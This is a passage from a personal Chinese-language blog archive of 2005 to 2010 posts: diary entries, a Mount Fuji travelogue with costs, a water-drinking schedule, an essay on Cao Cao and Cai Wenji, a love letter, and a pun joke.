life,不过还是没有我想要的答案。基督教中神爱世人,每个人都要去帮助别人,和佛教中的普渡众生有点类似,貌似双鱼的博爱也是如此,也许要参透这个问题,我也该出世了。少说话,多思考。 视频中沐沐已经比桌子还高,除了叫爸爸,还会叫叔叔姑姑,不知道该哭还是笑,把孩子丢给沐妈一个人,确实比较残忍。。。 突然想起一首歌,适合漂泊的我 --- ## you are my sunshine Date: 2010-08-30 URL: https://blog.wo.ai/archives/52 Categories: English, Life, Springfield You are my sunshine my only sunshine You make me happy when skies are gray You’ll never know dear how much I love you Please don’t take my sunshine away The other night dear, as I lay sleeping I dreamed I held you in my arms But when I awoke, dear, I was mistaken So I hung my head and I cried. Yesterday Lynn showed us this song in the church. I heard this song before and even forgot it. But when I heard it again, I knew who is my sunshine. –to fiona, thank you. –to Mumu, you also the sunshine of world. --- ## 喝水时间表 Date: 2010-04-11 URL: https://blog.wo.ai/archives/50 Categories: Uncategorized 健康小贴士:《喝水时间表》 专家推荐了一个“喝水行程表”,提供给您以作参考。 ※ 6:30经过一整夜的睡眠,身体开始缺水,起床之际先喝250cc的水,可帮助肾脏及肝脏解毒。 ※ 8:30清晨从起床到办公室的过程,时间总是特别紧凑,情绪也较紧张,身体无形中会出现脱水现象,所以到了办公室后,先别急着泡咖啡,给自己一杯至少250cc的水! ※ 11:00在冷气房里工作一段时间后,一定得趁起身动动的时候,再给自己一天里的第三杯水,补充流失的水分,有助于放松紧张的工作情绪! ※ 12:50用完午餐半小时后,喝一些水,可以加强身体的消化功能。 ※ 15:00以一杯健康矿泉水代替午茶与咖啡等提神饮料吧!能够提神醒脑。 ※ 17:30下班离开办公室前,再喝一杯水,增加饱足感,待会吃晚餐时,自然不会暴饮暴食。 ※ 22:00睡前1至半小时再喝上一杯水!今天已摄取2000cc水量了。不过别一口气喝太多,以免晚上上洗手间影响睡眠质量。 ### Comments ##### BOBO J – 4/11/2010 8:25:23 PM 原来你就是传说中的水仙花同学~~哈哈 我听的一是日语歌了,我只是在听日本MM喝英文歌哈~ --- ## 为何枭雄曹操才是最懂蔡文姬的人? Date: 2009-12-30 URL: https://blog.wo.ai/archives/48 Categories: Life, Miscellaneous ……..[人物小传]:蔡文姬,名琰,东汉末年女诗人。博学有才,辨通音律,曾因战乱没于匈奴达12年。曹操思贤慕才,用金璧赎回。 [君子心语]:所谓红颜知己,就是要你相信,在这个世界,总有一个人,会知道你的好。 1。乱世危卵 蔡文姬,一个受过知识熏陶的女人,在遭受了耻辱后还能活着,她的心中经历过怎样的惊涛骇浪呢? 当文姬走进丞相府,站在曹操等众人面前的时候,“蓬首徒行,叩头请罪,音辞清辩,旨甚酸哀”(《后汉书?列女传》)。 本来不该是这个样子的。她是汉末大儒、史学家与文坛领袖蔡邕的女儿,是有着家学渊源的千金大小姐,诗书礼仪她不懂吗?礼教名节她不明白吗?但是现在,披着头赤着脚,站在一群男人面前,一步一步磕头,这是为什么? 她没有退路了。宁做太平犬,勿为乱世人。她不幸遇到了乱世。对别人或许是个机遇,对她,则是一种糟蹋。那是个可怕的乱世,朝廷腐败,官逼民反,终于酿成黄巾起义。大将军何进被宦官十常侍杀害,西凉领军董卓进军洛阳尽诛十常侍,把持朝政。 蔡邕是当时极负盛名的大学者,“少有文名,博学善辞章,并精通音律”(《后汉书?蔡邕列传》)。承继祖上遗风,无意仕宦,浮云富贵,只是闭门读书,挥笔著述,兴之所至则弹琴赋诗聊以自娱。就是因为这样的才名,董卓为巩固自己的统治刻意笼络名满洛阳的蔡邕,非要让蔡邕出来做官。蔡邕称病不肯,他就威胁灭族。没办法,蔡邕又重新走入仕途。蔡邕一日连升三级,三日周历三台,最后获封高阳侯。 出身于这样一个家庭,她还是幸福的。幼年早慧,6岁的时候她就能听出父亲弹断哪根琴弦,加之饱读诗书,才貌双全,求亲者络绎不绝。蔡文姬后来嫁于世家子河东卫仲道,夫妻感情很好,但一年以后丈夫死了,于是回到娘家。这个时候的蔡文姬还只是一般女人的不幸。贵族女子守寡很正常,如果不发生意外,也许她就是《红楼梦》里第二个李纨。 可惜她的命运因为一个人改变了,他就是司徒王允。这个人我们应该不陌生,在貂蝉出场时他还是个正面人物。可惜他杀了董卓以后又杀了蔡邕。董卓给蔡邕连升三级,对于董卓的死,蔡邕叹口气也是情理之中。可惜王允心胸不够宽广,认为蔡邕怀念董卓的私恩,忘了作臣子的大节,诛杀了董卓,蔡邕反而伤痛,这难道不是董卓的同党吗?所以王允把蔡邕给治罪了,并且还怕蔡邕在历史上给他胡扯,把他弄死在狱里。 蔡邕就这样莫名其妙地死了,家族获罪,大厦倾倒。蔡文姬真正的不幸开始了。 2。生命之下 董卓死后,他的部将又攻占长安。军阀混战,羌胡番兵乘机掠掳中原一带,在“中土人脆弱,来兵皆胡羌,纵猎围城邑,所向悉破亡。马边悬男头,马后载妇女,长驱入朔漠,回路险且阻”的状况下,蔡文姬跟许多妇女一样被掳到南匈奴。 她千金之躯,被一群蛮子拖上了马,当做战利品。那一颗饱读诗书、敏感多思的心灵,处在风俗迥异的残酷环境里,会想什么呢? “所略有万计,不得令屯聚。或有骨肉俱,欲言不敢语。失意几微间,辄言弊降虏!要当以亭刃,我曹不活汝。岂复惜性命,不堪其詈骂。或便加棰杖,毒痛参并下。旦则号泣行,夜则悲吟坐。欲死不能得,欲生无一可。”(《胡笳十八拍》) 她遭到毒打加詈骂,而且还有身为女人遭受的可怕的侮辱。但她没死。 让人好奇的便是这里。这位贵族才女经历加此凌辱居然活下来了。 一个女人,可以打可以骂可以杀,但是侮辱则是最可怕的,那是一个女人本性上的最后的生命尊严。被强行践踏时,有的人死了,有的人活了下来,活下来的,有的人又默默地死了,有的人还活得精彩。 生命之上,一无所有,那么,生命之下呢? 在痛苦和凌辱加身时,她哭过,也怨过。“为天有眼兮何不见我独漂流?为神有灵兮何事处我天南海北头?我不负天兮天何配我殊匹?我不负神兮神何殛我越荒州?制兹八拍兮拟排忧,何知曲成兮转悲愁。”(《胡笳十八拍》) 每个人在绝境的时候都会哭天抢地,可是然后呢? 在生命之下,有种东西超越了尊严甚至超越了生命本身,它叫信念。 3。因为懂得 某种程度上,女性在男权社会里都天然地带有一些焦虑,这是一种弱势群体唯恐遇害的防御心理。 可是她很淡定,而且很平静。 其实人真是一种很奇怪的动物,如果有外在强加的伤害,即使过程结束以后,人自己也会继续从心理和生理上加深这种伤害,女人的凌辱尤其如此,或许我们可以把这个叫“伤害追加定律”。女性在受侮辱以后,往往造成难以弥补的心灵创伤,很多人痛不欲生。早期内心充满愤怒、恐惧、焦虑和紧张,事后感到沮丧、追悔自责,并可因内外压力而厌世轻生。 支撑蔡文姬活下来的,是内心坚定的信念与生命的觉醒。 蔡文姬在《胡笳十八拍》国这样写道:“我非贪生而恶死,不能捐身兮心有以。生仍冀得兮归桑梓,死当埋骨兮长已矣。” 她不是贪生怕死,也不是不知廉耻与气节,她只是要回家,要落叶归根,即使死也要埋在家乡,不能轻易这样埋尸异国。这是她无比坚定的信念,也是她活下来的支柱。 “千古艰难唯一死”,但是活下来更难。在那样蛮荒异俗并且遭受屈辱的境遇里活下来,需要拥有比常人更多的勇气和智慧。这种智慧并不是智商,而是对生命的感悟和理解,是一份真正骨子里的理解与懂得。 4。文姬归汉 文姬怎么回来的呢?史书这样记载:“曹操素与邕善,痛其无嗣,乃遣使者以金璧赎之,而重嫁于祀。”(《后汉书?列女传》)曹操在洛阳为官时与蔡邕“有管鲍之好”,比蔡邕小22岁的曹操敬慕蔡邕的才学和信义。蔡邕则推崇曹操的文韬武略,他们之间过从甚密。现在天下三分初定,正是外定武功,内修文学,力图文治的时候,因此想起来把亡友的女儿赎回。 人都这样,现在发达了,自然会想起从前旧事,曹操也不例外。曹操从前一直往来于蔡邕府中,可能亦是见过蔡文姬的,也许还有过坐而论道的明月之趣,现在想起故人恻然心动,让她回来,算是对老友的一种报答吧。 当然还有一个说不出口的原因。 曹操是三国杰出的一代霸主,名动天下,雄才大略,做皇帝是够格的,但始终不敢,别人劝他,他还开玩笑“你想把我放在火炉上烤”。但是他“挟天子以令诸侯”,朝廷大权尽在手中,没有做皇帝的想法才叫见鬼。历代如此篡位的实在太多,但是他始终没有这么做,也许是因为内心的那点忠君之情,也许是顾忌天下民心,更多的还是顾忌后世之名。他想留个好名声——就要挑个会写史的人。 蔡邕生前与友人合撰《后汉记》,在流放时上书灵帝“奏其所著十意”,这个所谓 “十意”即是“十志”,是“修补《汉书》十志之下尽王莽而止,光武以来唯记纪传,无续志者”(《后汉书?蔡邕列传》)。这是蔡邕在他的老师胡广的指导下经 20余年殚精竭虑而撰成的一部半成品。蔡邕一生多难,没能完成这项巨大的工程,其文稿也大多散佚。文姬作为蔡邕的女儿,由她来写自然不会差到哪里去,何况还是自己辛苦把她从匈奴那里赎出来的。 当然这种想法曹操是不会宣之于口的,只是一味善待文姬,相信文姬写史的时候也不会给自己瞎掰,因此她一回来,曹操就给她配了门亲事,嫁给名门才子风流倜傥的帅哥董祀。这是典型的“姐弟恋”,文姬35岁,董祀才20出头。 这场婚姻开始并不幸福。明摆着,文姬两嫁之身,还生了两个胡儿,大漠风沙早已红颜衰老,董帅哥正青春年华一表人才,无缘无故被丞相指了个老女人为妻,这份郁闷就甭提了。一郁闷就出事了,第二年犯罪当死,文姬又要开始守寡,她受不了了。 她受过极大的凌辱,在生命底线浮沉上下,她知道,在尊严之上还有东西必须去抓住,否则就来不及了。所以她能赤脚蓬头,于公卿名士及远方使驿坐者满堂之际,叩头请赎。那个不爱她的丈夫,却是她不得不挽回的依靠。 本来满腹经纶,自然语意哀伤动人,在座宾客都交相诧叹不已,曹操说:“事情确实值得同情,但文状已去,为之奈何?”蔡文姬恳求道:“明公厩马万匹,虎士成林,何惜疾足一骑,而不济垂死一命乎?”说罢又是叩头。曹操念及昔日与蔡邕的交情,又想到蔡文姬悲惨的身世,倘若处死董祀,文姬势难自存,于是立刻派人快马加鞭,追回文状,并宽宥其罪。 5。所以慈悲 如果说曹操跟文姬有私情,也许会被历史学家们扁死,哪个史书上也没这么记载,即使有杜撰,大多还把曹操弄成贪图美色的反面角色。可是在文姬的灵魂深处,确实站立着那么一个男人,他是懂她的。 我们且看史书记载:“操因问曰:‘闻夫人家先多坟籍,犹能忆识之不?’文姬曰:‘昔亡父赐书四千许卷,流离涂炭,罔有存者。今所诵忆,裁四百余篇耳。’操曰:‘今当使十吏就夫人写之。’文姬曰:‘妾闻男女之别,礼不亲授。乞给纸笔,真草唯命。’于是缮书送之,文无遗误。”(《后汉书?列女传》) 文姬说“亡父赐书”,蔡邕家学渊源,要遗留给这位女儿的,最有可能是自己一生未完成的、可以续写的东西——史书。何况绝顶聪明如文姬,自然知道曹操接她回来的真正目的,这位大政治家绝没有那闲功夫看她老爹的诗词歌赋,她知道他最想看到什么,于是她写了出来——因为感激,更是一份骨子里的信任,也许只有这个男人才真正欣赏她的绝世才情。 文姬是爱曹操的。 大家试想,一个饱经沧桑的才女,在灵魂寂寞里突然遇到赏识她的男人,这个男人把她从蛮荒之地赎了回来,这个男人帮助她回到了自己魂牵梦绕的中原,这个男人赐给了她一次重生的机会,她心里会想什么? 如果只是做到了这些,她也许是感激,但是恕她夫君,让她用自己才华撰文写文,这已经是一份懂得了。灵魂寂寞的才女是最怕“懂得”的,她们不需要荣华富贵,亦不奢望风花雪月,只是想在茫茫人海求一份知心罢了,所谓得之,我幸,失之,我命。这世界上有这样一种女人,懂得了她的灵魂,也就征服了她的所有,张爱玲如是,文姬亦然。 可是曹操呢? 最有趣的就是曹操的心理,据说他很好色,临死之前还吩咐他的十几个侍妾对着他的牌位唱曲。难道就不想把文姬收为己用?事实上他不仅没有这样做,反而还把文姬嫁给一个风流倜傥的名士帅哥。 有人猜文姬当时已经人老珠黄,好色如曹操,对这样的老女人自然没什么胃口。 不是的。 曹操这个人,历史上评价很多,《三国演义》因为价值正统,他被冤枉当了几千年的白脸奸臣。其实此人品格极高,我们看他的“日月之行,若出其中;星汉灿烂,若出其里。幸甚至哉!歌以咏志”(《观沧海》)。他的“对酒当歌,人生几何?譬如朝露,去日苦多。慨当以慷,忧思难忘。何以解忧?唯有杜康”。《短歌行》英雄大气如此,绝对不是《三国演义》里那奸雄嘴脸所能容纳的。如此品味的男人,才真正懂文姬,而正是因为这份懂得,他才没有占有。 6。蓝颜知己 曹操是权倾一时的大将军、大丞相,天下三分,没有完成的事太多了。 他知道,身处政治旋涡而历经磨难的文姬已经经不起任何波折;他也知道,她嫁给他只能做一名侍妾,而与董祀结婚,则是正妻;他欣赏她的才情,但是不能给世人以任何口实,毕竟他跟她父亲还是忘年好友。最主要的,他希望她今后的人生能平静安宁,躲避于这个乱世而读书修史,跟着他,是绝对不可能做到的。 所以,他让她嫁给了同样才华横溢的名士董祀,他相信,那个年轻人,终究有一天会懂得文姬的好,并且也许是故意的,他给了她一次机会。文姬求情,董祀免死。一个绝世枭雄要杀人,哪里是一个女人可以劝动的,曹操其实根本不想杀董祀,他要的就是文姬的求情,是董祀对文姬的感激。他知道,从此以后,董祀会明白文姬的好,会好好珍惜这样一位命苦的绝世才女,哪怕不是爱,有怜惜,就足够了。 如他所愿,董祀终于明白了妻子的好,夫妻两人不久就避世隐居。多少年以后,在曹操戎马生涯的缝隙里,又偶遇了文姬。“琰(即文姬)闻操至,忙出迎接。操至堂,琰起居毕,侍立于侧。操偶见壁间悬一碑文图轴。起身观之,问于蔡琰。琰答曰:‘此乃曹娥之碑也。’操读八字云:‘黄绢幼妇,外孙齑臼。’操问琰曰:‘汝解此意否?’琰曰:‘虽先人遗笔,妾实不解其意。’”文姬听到曹操到了,出去迎接,曹操无意之间看到了悬挂在墙壁上的碑文图轴,起身看了看,问文姬。文姬说:“这是曹娥碑。”曹操见上面写着“黄绢幼妇,外孙虀臼”,问:“你知道什么意思吗?”文姬回答:“这虽然是先父留下的,但我也不清楚是什么意思”。 文姬不知道吗?她当然知道,即使猜不出,父亲也会告诉她的,只是这样一个有趣的谜底,她留给了曹操。看来闲余之笔,却是两个人之间的一种默契和有趣。避居多年,她终于明白了曹操的心意,此生无缘,而蓝颜知己如此,也就罢了。 所谓“蓝颜知己”,就是一个男人能真正地走进你的内心,解读你的失意,明白你的困惑,更懂得你的渴望。如果有这样一个人,那他就可以称作你的蓝颜知己。 每个女人都需要蓝颜知己,尤其有灵魂的女人。在那灵魂的皈依处,无论对方怎样,也许就是因为那样一份懂得的感激,灵魂就会因此而变得快乐与充实、满足与丰富。 最幸福的女人,是相伴知己终老,而最美好的遗憾,则是咫尺天涯于蓝颜知己。我们可以想象,多年以后,在文姬的书房里,曹公读着她的字,看着她的画,而那个人,就站在自己旁边,彼此知己。而在错的时间里相遇,不过一声叹息罢了。曹公愿意这样选,文姬亦是能懂得。早已天涯相隔,偶然重逢,也只能淡淡地问候: “还好吗?” “好。” --- ## 忙碌的我,“充实”的我 Date: 2008-11-14 URL: https://blog.wo.ai/archives/45 Categories: Life 今年出乎意料的事情似乎太多,上课,上班,迎接BB的到来。 白天培训,晚上shift,周末上课,安排得满满的,不能照顾LP,心里也不是滋味。 忙碌,确实如此;“充实”,不知道,也许得到的同时,也在失去很多。 现在的时代,不努力提高,只能被时代淘汰, goal,try,goal,try…. 轮子也不过如此。 可怜的BB一出世就要面临这个残酷的世界。 送LP回家之前,还有不少事情要做,赶紧… --- ## 一年又一年 Date: 2008-02-15 URL: https://blog.wo.ai/archives/43 Categories: Life 07年过去了,08年也开始了。 回顾一下07年,不好也不坏。终于能住进新房子里面过年了,也不枉当了一年房奴,而且还要继续当下去, 唯一的遗憾是,过完了年,还要继续在上海的蜗居中待上一年,才能回去享受“自己”的大房子。系统分析 师也总算过了,三四次报名的钱也够上培训班的钱了,呵呵,不管怎么说,也算是聊了一桩心愿。 工资也 总算加了,勉强能跟上中国CPI的上涨,不知道今年还能不能跟上。 08年了,今年的路才开始,等考试结果,参加新的考试,跳槽… --- ## 昨天,今天,明天 Date: 2007-12-05 URL: https://blog.wo.ai/archives/41 Categories: Life 有的人,生活在昨天,要说10年前,我是如何如何风光,我如何如何勇敢,能够空手夺白刃,这类 人的口头禅是“想当年”,今天只能算“虎落平阳被犬欺”。 有的人,生活在今天,只要今天过得好,懒得管明天如何,口头禅是“这个月工资又怎么没有了”。 有的人,生活在明天,我今天不努力,明天就没有饭吃,勤勤恳恳工作,“明天会怎么样” 还有的人,生活在昨天,昨天的失败,今天也是失败的,口头禅,“我不行” 还有的人,生活在今天,昨天我失败了,今天能行吗?口头禅,“还是你来吧” 当然还有的人,今天失败了,明天我也许会成功,他会说,我能行。 人生就像一大群人登山,登一座永远没有止境的山。 有的人,一直回头看,呼朋唤友,只能看到身后的人,正应了曾经流行的话,“记忆总是美好的,现 实总是残酷的”。 有的人,一直往前冲,我前面还有人,我要超过他,超过了路人甲,前面还有路人乙,路人以前面还 有路人丙。也许前面的风景是最好的,“我为你翻山越岭,却无心看风景”。而且,只看上面,不看 脚底,还要摔跤的。 有的人,走走停停,看到好的风景就停下来拍个照,“这边风景独好”。 --- ## 可怜的周末…. Date: 2007-11-28 URL: https://blog.wo.ai/archives/39 Categories: Life 好不容易挨到个周末,想好好睡上一觉。 可猪头今天要加班,一大早把我叫起来说,平常都是你上班,我睡觉。今天你睡觉,我心里不平衡,不行,你得和我出去。 555, 可怜的周末。好期待下一个周末啊。 --- ## 加班,加班,加班…. Date: 2007-08-30 URL: https://blog.wo.ai/archives/37 Categories: Life 似乎很久没做过这么累的项目了。虽然汇报工作的时候似乎没有多复杂的工作,具体实施的时候, 一遍一遍的返工做,真是体力活。每天似乎都是逃回家的,因为不管多晚走,似乎后面还有很多做 都做不完的事情,还有几个带着一大堆问题的兄弟。回到家基本是精疲力竭了,和朋友调侃地说, 连吵架的力气都没有。这种状态还要持续到10月底…….. 嘿嘿,继续加班,加油… --- ## 富士山之旅 Date: 2006-10-08 URL: https://blog.wo.ai/archives/35 Categories: Life 某天晚上突发奇想,周末去富士山。然后和同事商量,要不要一块去,因为…原因,不愿意去,决定独闯富士山。然后查资料,搞到1点多才睡。 早上早早6点起床,睡眠严重不足啊。转地铁到新宿,在新宿坐JR到大月车站,然后转富士急行线,到河口湖车站。这个所谓的富士急行线说的是急行,慢得够可以的,20公里愣是跑了半个小时。打了河口湖已经快11点,问了从富士山回来的末班车,居然是两点,也就是说,我从开始登山,到下车,最多只有两个小时时间。没办法,只好匆匆赶上去富士山五合目的车。 车才开始爬坡,就发现车外雾气腾腾的,感觉冬天清早的那层雾一样,窗户玻璃上面也结了层细细的水珠,难道真是和网上说的一样,富士山长年只有5度的温度,我可是只穿了件短袖啊。车到了五合目,聚集在这里的人很多,也有不少组团的人,领队穿着稀奇古怪的course服,让大家做预备,热身的动作。匆匆拍了几张照片,就开始了独行了。在山口,看到一块牌子,上面写着禁止一个人独自爬山,嘿嘿,好像是针对我的,不理他,继续。 富士山真是名副其实的的火山,整座山都是火山灰,还有大小不一的火山岩石,磕磕碰碰都是石头路,给穿着皮鞋的我增添不少难度。看样子来这里真是准备不足,首先鞋子不行,不是担心我穿这个鞋子爬不上去,而是担心鞋子坏了,没法下山,另外是包,到了越上面,双手越显得重要,需要手足并用,我拎个皮包就上路了,明显是增加自己的负担。也许真是这样,人家三五成群登山的人,一个个看希奇一样的看着我,咋看我不像爬山的,像是到山顶上班的。又看我爬得比他们谁都快,看得出他们那种羡慕的眼神。 二十分钟从五合目爬到六合目,没有看到电视,广告,或者照片中的富士山的那种美景,人在山中,是没办法看到富士山全景的,残念だ。唯一能看的就是蓝蓝的天,蓝蓝的天,朵朵白云,感觉离天空很近,再加上看到山下云雾缭绕,有种自己在天上的感觉。算了一下时间,还有两个多小时,到七合目还要一个小时,下山至少还要1个半小时,此行只能到七合目了,上面还有八合目,九合目,山顶,估计这次是没办法了却这个心愿了。 到了七合目,风景依然只有蓝天,因为雾气太重,远处根本看不到,这是让我比较失望的,随便排了些照片,大家到相册去看吧。然后就开始急急忙忙的下山。 ![](file:///E:/wxy/wxy/space/img/EA24C2E30AE4766E_368_0.jpg) ![](file:///E:/wxy/wxy/space/img/EA24C2E30AE4766E_368_1.jpg) 下山的时候,看到来的时候那些人,一个个已经累得不行了,开始的意气风发已经找不到痕迹了,他们以惊讶的目光看着我,怎么这么快就爬到顶下来了?问我还要多久,我说至少还要四个小时才能到顶。看着大家前仆后继的来爬富士山,有点上当受骗的感觉。 回到五合目,已经2:03了,巴士3分钟前开走了,只剩下可怜的我。然后我边上的一个管理人员,问有什么办法下山,他说打的,另外说了句什么东西没听懂,我再问了一遍,他就做了个双手合十的动作,然后用蹩足的英语加日语对我说,求别人带我下去。嗬嗬,反正也走不了了,随便逛逛,山上有个简易邮局,很多人在那里买明信片,然后邮寄给自己亲人。我也凑热闹买了一张,盖了个大大的到此一游的章,寄回上海了。然后在商品店里面逛了逛,大部分纪念品还都是made in china的,没有找到有特色一点的,就没买。在日本看到如此多的made in china,不知道是应该高兴呢,还是应该悲哀。买了套富士山的明信片,算是弥补一下没看到富士山风景吧。![](file:///E:/wxy/wxy/space/img/EA24C2E30AE4766E_368_2.jpg) 时间差不多了,就开始想办法怎么下山了。看到停车场有辆车开出来,我上去用英语问,不理我,就开走了,打击啊。为了能够下山,继续。 第二辆车开来了,继续问,对方摇头,似乎没听懂,开走了。如是四五辆车,我的热情被打击完了。我就开始边下山,边看风景,边看私家车,看谁打算下车。看到一个老外,非日本人,我想用英语应该方便了吧,结果人家说,I am just start to climb the mountain,看样子天要绝我啊。继续下山,但是就想,实在不行,就走下去吧,虽然有二三十公里,至少明天早上我能走下山吧。后来看到另外一家子准备下山了,我先说了句,すみません、然后开始用英语加日语夹杂一起大概说了一下我现在的情况,没公交,没法下山了,看他们在一起商量,似乎很犹豫,不太愿意带我下去。我说了句谢谢,放弃了继续往前走,他们开车追上来,问我是不是一个人,我说是,他们就让我上车了。上车后英语日语乱七八糟的聊,直到他们一家五口从横滨过来的,然后说我非常lucky,后来居然还交换了名片。还真要感谢山形先生,如果不是他,还真下不来了。 回到了河口湖车站,算算还是做高速巴士划算,既节省时间,还不需要换车。回到新宿已经晚上7点多了。然后转地铁回到住的地方,一天的旅程总算结束了,大部分时间都是在车上,不过爬山脚还是走出泡了。坐车辛苦,而且没完多长时间,富士山顶的风光也没体验到,还是比较遗憾的。不过也不枉此行啊,至少独闯富士山也算成功了。 下面做一个总结,给以后去的人一个建议: 1. 准备要充分,要准备一双穿着舒服适合爬山的鞋子,底最好后一些,否则被石头磕着脚的感觉很不爽。包的话,最好是背后背的背包,像手提包,塑料袋这类的,最好不要带,带了的话,也放在背包里面,否则后面是负担。 2. 早点起床,出门。因为路上坐车时间花得很多,到了富士山估计也不早了,就没多少时间爬山了。 3. 能跟团的就跟团吧,或者自己开车(呵呵,难办一些),否则下山坐车太不方便,要不就和我一样,不管三七二十一先逛了,然后另外和别人商量,搭顺风车下来,这个就要凭运气很耐心了,因为并不是每个人都愿意带人下来,而且语言沟通也是个问题。 4. 富士山附近也有一些景点,我也没时间逛,要逛的话,可以在附近居民那里找个地方住一晚,不过费用也不低,大概要6000日元一晚,不过比住宾馆便宜。 5. 出发时间,富士山只有七八月份是完全开放的。到了8月31号,八合目以上的宾馆,小店,休息点都关门了,只能在路边休息,至于让不让上去,还不清楚。 6. 衣服呢,不是像宣传中的那么冷,但是如果你本身就怕冷的话,就多带点衣服吧。 7. 日语不行的话,学点英语还是有好处的,大部分人还是能够勉强沟通的。 费用(供参考): 东京->富士山 JR新宿->大月 1100日元 富士急行线 大月->河口湖1200日元 登山巴士 河口湖->富士山五合目 单程1500日元,往返2000日元 富士山->东京 五合目->大月车站 顺风车,free 高速巴士 大月车站->新宿 1700日元 所以还是做巴士好一些,来回都有,便宜,速度也快。 --- ## 写在06年元旦 Date: 2006-01-01 URL: https://blog.wo.ai/archives/23 Categories: Life 05年12月31号11点钟半,加班中。 急急忙忙收拾东西,希望能够在0点的时候能够赶到家,和GF说声新年快乐。 在回去的车上,听到广播里面,大家都在兴奋的倒计时庆祝06年的到来,我只能简简单单的给GF发条新年快乐的信息,希望GF能够谅解,不觉有点忧伤,怀疑自己这段时间为公司所做的这些是否值得。 05年盘点: 上半年在jx,虽然学到了很多东西,但是发现自己好像还不太适合开公司,或者仅仅靠技术投资参与运营一个公司似乎是不太可能的。没有产品,不适合推广,不好盲目跟风;没有资金推广,更会限制发展,陷入一个怪圈。 下半年进入V社,从PL变成SSE,再从SSE变成PL,似乎有点可笑,这中的苦还是只有自己知道。这段时间狂加班,究竟是想要得到什么,或者证明什么,我也不太清楚,不过付出了,总应该是会有收获的。 从日本人这里学到了不少,工作严谨,工作就认真工作,娱乐就好好娱乐。大家都这么敬业,也难怪日本比中国发展得快。暂且抛开民族感情,日本人这一点还是让我很敬佩。关于抵制日货,从中坚分子到沉默,思考了很多。民族想要发展 ,如果是**仅仅** 靠抵制日货,是不可能发展的,就算全民都抵制日货,也许日本会有很大损失,但中国也得不到好处,自己的技术、产品、质量得不到提高,不可能超过日本。所以,民族要发展,还是应该从根本开始,改变一些老的、旧的思维方式,改进自己的工艺,技术,提高中国自己产品质量,这才是发展的路。 06年计划: 继续学习英语、日语,当然也不能忘本,给自己补充一点中国文化的营养。 把系分过了。 脱离单身。 还有好多,不想写了。。。。。 --- ## What is a panda? Date: 2005-12-25 URL: https://blog.wo.ai/archives/27 Categories: English, Funny, Life What is a panda? A panda walks into a restaurant, sits down and orders a sandwich. He eats the sandwich, pulls out a gun and shoots the waiter dead. As the panda stands up to go, the manager shouts, > “Hey! Where are you going? You just shot my waiter and you didn’t pay for your sandwich!” The panda yells back at the manager, > “Hey man, I’m a PANDA! Look it up!” The manager opens his dictionary and sees the following definition for panda: > “A tree dwelling placental mammal of Asian origin, characterized by distinct black and white coloring. **Eats shoots and leaves**.” --- ## 光棍节前夕 Date: 2005-11-10 URL: https://blog.wo.ai/archives/29 Categories: Life 光棍节前夕 --- 明天是光棍节 具体由来我也不知 只知道报纸上大肆写着光棍节 光光:男光棍 明明:女光棍 脱光:男光棍名草有主 失明:女光棍名花有主 复光:重新做回男光棍 复明:重新做回女光棍 挂牌:在BBS上贴出自我推销的帖子,招蜂引蝶或是招来臭鸡蛋 摘牌:脱光(失明)成功,摘下牌子 成了对的就叫“双双”。光棍节的吉祥物是4根油条加1个包子,摆在一起,就是11.11。最近有人讨论阴历阳历11月11重合的可能性,居然还有个人说六十年一个轮回,笑死!就算重合了有能怎么样啊?再说中国的农历是19年闰7次,也就是说19年就可能轮回一次了。 一不小心脱光了五年了,似乎不太适合在光棍节的时候谈怎么脱光的,不过咋说俺也是光了20几年,稍微纪念一下,默哀中。 具体啥时候摘牌,时间表不是很明确,明年努力工作,努力学习,看能不能摘牌。但是这几年,还是要非常感谢偶的GF对我无微不至的照顾,一路上有你,苦一点也愿意! ● ╭○╮ 。oоО○ /█∨█ \ 顺便祝所有的光光和明明们,赶快脱光或者失明,早日成为双双。 另外我们家的小猫水虎还是光光中,诚征小明明,有意者请和110联系。 --- ## 情书--小楼一夜听春雨 Date: 2005-09-19 URL: https://blog.wo.ai/archives/31 Categories: Life, Miscellaneous **情书--小楼一夜听春雨** --- | | | 小楼一夜听春雨 乱曰:来如流水兮逝如风,不知何处来兮何所终。人生易老,华发添霜,如秋之叶,空余尘香。抚七弦以追忆,望逝水而情伤,怀半生之摇落,叹一世之短长。或以酒当歌,起舞中夜,露湿天井,月照回廊。唯清泪之不散,倩翠袖以执觞。 当时初遇,如见灵光,玉为肌骨,雪为柔肠,面如中秋月色,眸似秋水寒江,发如瀑之飞落,衣似云之飘扬,长袖菊影,罗袜兰芳,清胜浣纱西子,丽似出塞王嫱。 两心初见,即如旧识,同品佳酿,共议华章,执手三川胜景,相伴一度春光。其趣无穷,至乐未央。生花妙笔,难描深情款款,誓盟金石,不负青春韶光。 然霁月难逢,彩云易散,痴情托梦,佳期隔年。守望黄尘古道,长亭烟柳,目极千山暮雪,明月婵娟。烟花三月,草长莺飞,相思相忆,渐褪腰围;炎夏如火,忧心如烹,远山碧色,暮鼓晨钟;三秋桂子,十里荷叶,风雨敲窗,思不能绝;燕山飞雪,手足生寒,念兹在兹,不惧衣单。时光长逝,四季长忆,若痴若狂,深情何寄。 且夫自登东山,南望三川。千里烟树,月满睛川。细听松风阵阵,催人清泪,日升情涌,月落思凝。遣相思于东隅,问情结于北溟。极远目而登台,独徘徊而后庭。痛舞肠断,情焉可附,清歌声哑,愁不堪听。 乃独入温泉,凝视荧屏,弃愁绝思,呼友引朋。凭悠悠之娇憨,借小舞之狡黠,其时亦欢,其乐亦融。然终有落寞,唯余长歌: 美人迈兮音尘绝,隔千里兮共明月,临风叹兮将焉歇,川路长兮不可越。 歌罢余音,心如灰烬,情似潮涌,清泪难禁。歌以寄情,愁心托月,莫忘前缘,霏霏雨雪。 曰:往者已矣,此情可追,若见此书,休负深意。 --- --- ## 歴史は忘却を許さない! Date: 2005-08-15 URL: https://blog.wo.ai/archives/33 Categories: Life 1939-9-18 1945-8-15 歴史は忘却を許さない!